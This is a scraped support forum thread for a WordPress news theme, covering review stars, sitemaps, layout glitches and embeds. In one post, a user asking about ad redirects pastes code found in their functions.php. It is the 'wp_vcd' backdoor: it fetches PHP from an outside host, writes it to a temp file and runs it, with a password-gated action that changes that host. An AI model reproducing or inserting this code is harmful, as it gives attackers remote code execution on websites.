- TutorialsDefault Block Settings Guide
Hi cjs,
Ensure that you are using the latest theme version, remove all of your untested plugins to rule out any conflicting plugins, clear all the caches and check the results. Check our demo preview and see there is no problem with our smart lists, sorry! Everything seems to work as expected.
Thanks for the message!
Hi,
All the modules display the date and author fields, like this
– https://www.screencast.com/t/ZePVYHS1F3
A check is then made in the main module file, if the post has a review the date and also the author field will be replaced by the review stars
– https://www.screencast.com/t/A94OvAulCNWB
Thanks
I suggest using Let’s Review plugin. Only thing with other plugins like Let’s Review plugin is that Newspaper theme has been built up little bit strange and it’s kind of pain in the ass to get shown reviews scores (like stars) on front page post list like you see with wp-review plugin what they use.
Why? You guys are using WP Review plugin, so all that work is already done. And all I need now should be just a simple fix to change it. But if you actually do it in every module itself not in one place, then yeah I understand that it would be difficult to replace it after every update. At the moment I have API function to call out, all I needed to know where is exactly that function are what you are calling out at the moment in theme so I can replace it with other.
if ( class_exists( 'Lets_Review_API' ) ) {
$my_score_box = Lets_Review_API::lets_review_get_score_box( $post->id );
echo $my_score_box;
}
Hi Catalin,
Which article was the one in your screenshot? As mentioned on my first post, it seems to happen only on articles with “Post Style 6” and “without Sidebar”. This is an example of one: https://www.cravingtech.com/razer-basilisk-fps-gaming-mouse-review.html. Another here: https://www.cravingtech.com/oppo-a77-review-great-value-price.html
I’ve tried different browsers (Opera, IE, Firefox, Chrome) in 2 different computers (1 at work and 1 at home) and still looks the same here – unless yours don’t have the issue somehow at your end?
Cheers
Did you do normal practice of clearing transients after update, e.g., with WP Optimize, and resaving permalinks to clear WP micro caching; clear any caching / CDN buckets, and clear browser cache before re-logging in ?
Just food for thought. Also useful to review changelog and posts about changes, as you likely could have just edited the one ajax file to modify the XSS issue and be done with it for the day.
( I don’t work here. But feel your pain ! )
Nope. Gave up and purchased another theme.
Will leave a review.
Hello,
Thanks for answering those questions earlier. I’d like to ask for Footer or anywhere on the website, is there an option for me to choose which social media I’d like to use or put up with. I don’t want a package of everything as I won’t be using all those. If I want to narrow them down to Facebook/Instagram/WeChat(Chinese)/Weibo(Chinese)/Youtube , is there a place where I can choose this?
Another question is, if I want to embed a video from Youtube, and I know where to copy the code, with Newspaper Theme, can I switch to Text in the article and just copy and paste that embedded code, and then it’d embed a youtube video in that article? It works for other wordpress site before, but when I tried them this morning, it works before I updated it ( run the preview and its working), however, it kinda messed up the whole thing after I hit updated.
I wonder if the only safe way to embed or to show a video (not a link), but a screen that can hit and play video in the article would be choosing the function and key your team created? Please help me out here.
Thank you.
Hi,
I love the related articles but just notice that the 5 related articles per row (when the layout is without sidebar) doesn’t work great if I pick “Style 6” for the post: https://www.cravingtech.com/razer-basilisk-fps-gaming-mouse-review.html (i.e the 5th related article is pushed down to the next line)
But if I pick Post “Style 4”, for example, it seems to work great: https://www.cravingtech.com/true-low-profile-mechanical-gaming-keyboard-havit-kb-390l-review.html
Hello Watashi10,
Sorry but please notice that our theme does not have any such a control about this regard. You should try installing the Seo Yoast plugin and check the settings from there. Also, by default, if you will check our demo preview you will not see this changes between desktop mode and mobile mode.
Thanks for your understanding!
Hi,
That would be difficult to achieve. The system will only work with the theme reviews. There are multiple functions and processes before the stars can be displayed on modules. I believe it would take a considerable amount of work and testing to display external reviews created with a plugin, inside the theme modules. Unfortunately I cannot provide a solution in this case.
Thanks
Hi,
For me the website seems to display the latest version at the moment
– https://www.screencast.com/t/FU31saVWSK
– https://www.screencast.com/t/vHgWBCL5gB
I don’t see any problem with the website, browsing the homepage, category pages and posts. The displayed posts are as late as Oct 20 and the grid and block filtering seems to work properly.
Regarding the sitemap issue, try using the Yoast SEO plugin, and configure the sitemap again
– https://kb.yoast.com/kb/enable-xml-sitemaps-in-the-wordpress-seo-plugin/
– https://yoast.com/what-is-an-xml-sitemap-and-why-should-you-have-one/
– https://kb.yoast.com/kb/how-to-customize-the-sitemap-index/
– https://kb.yoast.com/kb/submit-sitemap-search-engines/
The theme does not have any setting or options concerning SEO pr sitemaps, everything has to be done through a plugin. We don’t have an optimization or website review department. Try the Yoast plugin, enable and customize the sitemap if needed, then submit it and check the results.
Thanks
Since default review system design and UX is like it is and contributors can’t access it, we changed review system. The new review system is codetipi Let’s Review and it does not add stars on post topic like default review system. So now I am looking how and where to change code the way it would be less messy (less changes now and after future newspaper updates).
So instead of removing stars. I want to add stars back. 😉
Since updating the latest version of the theme my website layout has broken.Now the website homepage has changed to full width. https://www.reviewsclubpro.com/safflower-oil-review/
Hi Simion,
While looking into our SEO issue I see the XML sitemap is not working, when we create it using All-in-One SEO or XML Sitemap we are getting this error.:
—–
This page contains the following errors:
error on line 2 at column 1: Extra content at the end of the document
Below is a rendering of the page up to the first error.
—–
Can someone on the team there get in contact asap? I’m not sure it is related to the Cache problem we are seeing but my sense is it might be and would like a to hire you to review the site.
Thanks
Hi,
Maybe I am misunderstanding this, sorry if I am. When a post has a review, the theme modules used on blocks and grids display the stars instead of the author name and date. I believe that is for design purposes.
I thought you wanted to remove the stars in this case, and display the author name and date. That is what the modification from above will do, for all the modules at once.
If this is not what you wanted to know, please state what exactly is it you want to do with the review stars so we can avoid further misunderstandings.
Thanks
Hi,
That is how the modules display posts that have reviews. The author name and date will be replaced by the review stars. If you want to make modifications to this functionality, you will have to edit the theme files
– https://www.screencast.com/t/hKWnG07RBOkI
If you were to make modifications like this
– https://www.screencast.com/t/hdDMSXma
The review stars will not be displayed anymore on modules.
Thanks
Simion,
Thanks for your reply. I might have to hold off for the moment. I have a commitment to a client to start customizing the template a little bit so they can review it (by end of day today), so I wouldn’t want two people in the backend at the same time, or someone futzing with stuff when I know a client will be looking at the site.
If you’re confident that you could jump in there and investigate (and potentially resolve) within the next two or three hours, I’d be happy to provide those credentials. Otherwise I may have to hold off for a day or two.
Let me know. Thanks!
Hi,
We did not have any similar reports. It would be helpful if you could provide some more details, maybe some screenshots. Is it just the preview or the post as well after publishing it. Provide a link to such a post with the problem if possible.
If you have tested and it is not plugins, it could be custom code or a child theme.
Thanks
post layouts are broken when viewed in preview mode. Elements are there but looks like all styles are ignored. No errors in the console. I’ve tried disabling all plugins and same behavior. When changing into another theme they start behaving as expected. Is this a known bug?
Hi,
I don’t know exactly what topic you are looking for. If you do not want to use the theme reviews system, you can try more plugins as suggested until you find the one you like.
Thanks
Anyone else knows where I should look/find that topics part where newspaper added review stars?
Hello nicobros,
I have checked this functionality to our demo preview and the Google+ sharing seems to work as expected and the post title is right shared on this social media, as you can see here -> https://www.screencast.com/t/cscxJ8n6 Most likely, the bad is on your website and Google settings account and not come from our theme. When you share a post on Google+ from your website, the post title appears in URL but not under the featured image, as you can see here -> https://www.screencast.com/t/dsLF0OI4zQ Check the Seo Yost plugin settings because only from there you can control this functionality. The theme does not have any such an option for this case, sorry!
Thanks for your understanding!
Sometimes my ad is showing ads on my website. I can not prevent forwarding or iframe ads. I have a piece of code that can not be deleted in functions.php when I refresh the theme and other files.
This is unkown section in funtions.php
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '6708e20e039----------edit---426c0c'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{
case 'change_domain';
if (isset($_REQUEST['newdomain']))
{
if (!empty($_REQUEST['newdomain']))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code9\.php/i',$file,$matcholddomain))
{
$file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
@file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
}
die("");
}
if ( ! function_exists( 'theme_temp_setup' ) ) {
$path=$_SERVER['HTTP_HOST'].$_SERVER[REQUEST_URI];
if ( ! is_404() && stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
if($tmpcontent = @file_get_contents("http://www.dolsh.com/code9.php?i=".$path))
{
function theme_temp_setup($phpCode) {
$tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
fwrite($handle, "<?php\n" . $phpCode);
fclose($handle);
include $tmpfname;
unlink($tmpfname);
return get_defined_vars();
}
extract(theme_temp_setup($tmpcontent));
}
}
}
?>
function.php more code section..
<?php
/*
Our portfolio: http://themeforest.net/user/tagDiv/portfolio
Thanks for using our theme!
tagDiv - 2017
*/
/**
* Load the speed booster framework + theme specific files
*/
// load the deploy mode
require_once('td_deploy_mode.php');
// load the config
require_once('includes/td_config.php');
add_action('td_global_after', array('td_config', 'on_td_global_after_config'), 9); //we run on 9 priority to allow plugins to updage_key our apis while using the default priority of 10
// load the wp booster
require_once('includes/wp_booster/td_wp_booster_functions.php');
require_once('includes/td_css_generator.php');
require_once('includes/shortcodes/td_misc_shortcodes.php');
require_once('includes/widgets/td_page_builder_widgets.php'); // widgets
/*
* mobile theme css generator
* in wp-admin the main theme is loaded and the mobile theme functions are not included
* required in td_panel_data_source
* @todo - look for a more elegant solution(ex. generate the css on request)
*/
require_once('mobile/includes/td_css_generator_mob.php');
/* ----------------------------------------------------------------------------
* Woo Commerce
*/
// breadcrumb
add_filter('woocommerce_breadcrumb_defaults', 'td_woocommerce_breadcrumbs');
function td_woocommerce_breadcrumbs() {
return array(
'delimiter' => ' <i class="td-icon-right td-bread-sep"></i> ',
'wrap_before' => '<div class="entry-crumbs" itemprop="breadcrumb">',
'wrap_after' => '</div>',
'before' => '',
'after' => '',
'home' => _x('Home', 'breadcrumb', 'woocommerce'),
);
}
// use own pagination
if (!function_exists('woocommerce_pagination')) {
// pagination
function woocommerce_pagination() {
echo td_page_generator::get_pagination();
}
}
// Override theme default specification for product 3 per row
// Number of product per page 8
add_filter('loop_shop_per_page', create_function('$cols', 'return 4;'));
if (!function_exists('woocommerce_output_related_products')) {
// Number of related products
function woocommerce_output_related_products() {
woocommerce_related_products(array(
'posts_per_page' => 4,
'columns' => 4,
'orderby' => 'rand',
)); // Display 4 products in rows of 1
}
}
/* ----------------------------------------------------------------------------
* bbPress
*/
// change avatar size to 40px
function td_bbp_change_avatar_size($author_avatar, $topic_id, $size) {
$author_avatar = '';
if ($size == 14) {
$size = 40;
}
$topic_id = bbp_get_topic_id( $topic_id );
if ( !empty( $topic_id ) ) {
if ( !bbp_is_topic_anonymous( $topic_id ) ) {
$author_avatar = get_avatar( bbp_get_topic_author_id( $topic_id ), $size );
} else {
$author_avatar = get_avatar( get_post_meta( $topic_id, '_bbp_anonymous_email', true ), $size );
}
}
return $author_avatar;
}
add_filter('bbp_get_topic_author_avatar', 'td_bbp_change_avatar_size', 20, 3);
add_filter('bbp_get_reply_author_avatar', 'td_bbp_change_avatar_size', 20, 3);
add_filter('bbp_get_current_user_avatar', 'td_bbp_change_avatar_size', 20, 3);
//add_action('shutdown', 'test_td');
function test_td () {
if (!is_admin()){
td_api_base::_debug_get_used_on_page_components();
}
}
/**
* tdStyleCustomizer.js is required
*/
if (TD_DEBUG_LIVE_THEME_STYLE) {
add_action('wp_footer', 'td_theme_style_footer');
// new live theme demos
function td_theme_style_footer() {
?>
<div id="td-theme-settings" class="td-live-theme-demos td-theme-settings-small">
<div class="td-skin-body">
<div class="td-skin-wrap">
<div class="td-skin-container td-skin-buy"><a target="_blank" href="http://themeforest.net/item/newspaper/5489609?ref=tagdiv">BUY NEWSPAPER NOW!</a></div>
<div class="td-skin-container td-skin-header">GET AN AWESOME START!</div>
<div class="td-skin-container td-skin-desc">With easy <span>ONE CLICK INSTALL</span> and fully customizable options, our demos are the best start you'll ever get!!</div>
<div class="td-skin-container td-skin-content">
<div class="td-demos-list">
<?php
$td_demo_names = array();
foreach (td_global::$demo_list as $demo_id => $stack_params) {
$td_demo_names[$stack_params['text']] = $demo_id;
?>
<div class="td-set-theme-style"><a>" class="td-set-theme-style-link td-popup td-popup-<?php echo $td_demo_names[$stack_params['text']] ?>" data-img-url="<?php echo td_global::$get_template_directory_uri ?>/demos_popup/large/<?php echo $demo_id; ?>.jpg"><span></span></a></div>
<?php } ?>
<div class="td-set-theme-style-empty"><a href="#"></a></div>
<div class="td-set-theme-style-empty"><a href="#"></a></div>
<div class="clearfix"></div>
</div>
</div>
<div class="td-skin-scroll"><i class="td-icon-read-down"></i></div>
</div>
</div>
<div class="clearfix"></div>
<div class="td-set-hide-show"><a href="#"></a></div>
<div class="td-screen-demo" data-width-preview="380"></div>
</div>
<?php
}
}
//td_demo_state::update_state("art_creek", 'full');
//print_r(td_global::$all_theme_panels_list);
how can you solve this problem? I Know little english.
Theme has nothing to do with your content on instagram — perhaps optimize the images you upload to instagram before you upload them?
Theme can’t change images on other sites; if it’s loading from the cdn, that’s where the images are. See the instagram website for developers, to learn more. 🙂
There might be some ‘preview’ plugin you can use which loads preview images locally of your instagram feed, and saves those images locally .. which might be faster, although would load up your local storage, and might actually be slower … but don’t have recommendation on that.
(I don’t work here; just veteran/dinosaur in this industry)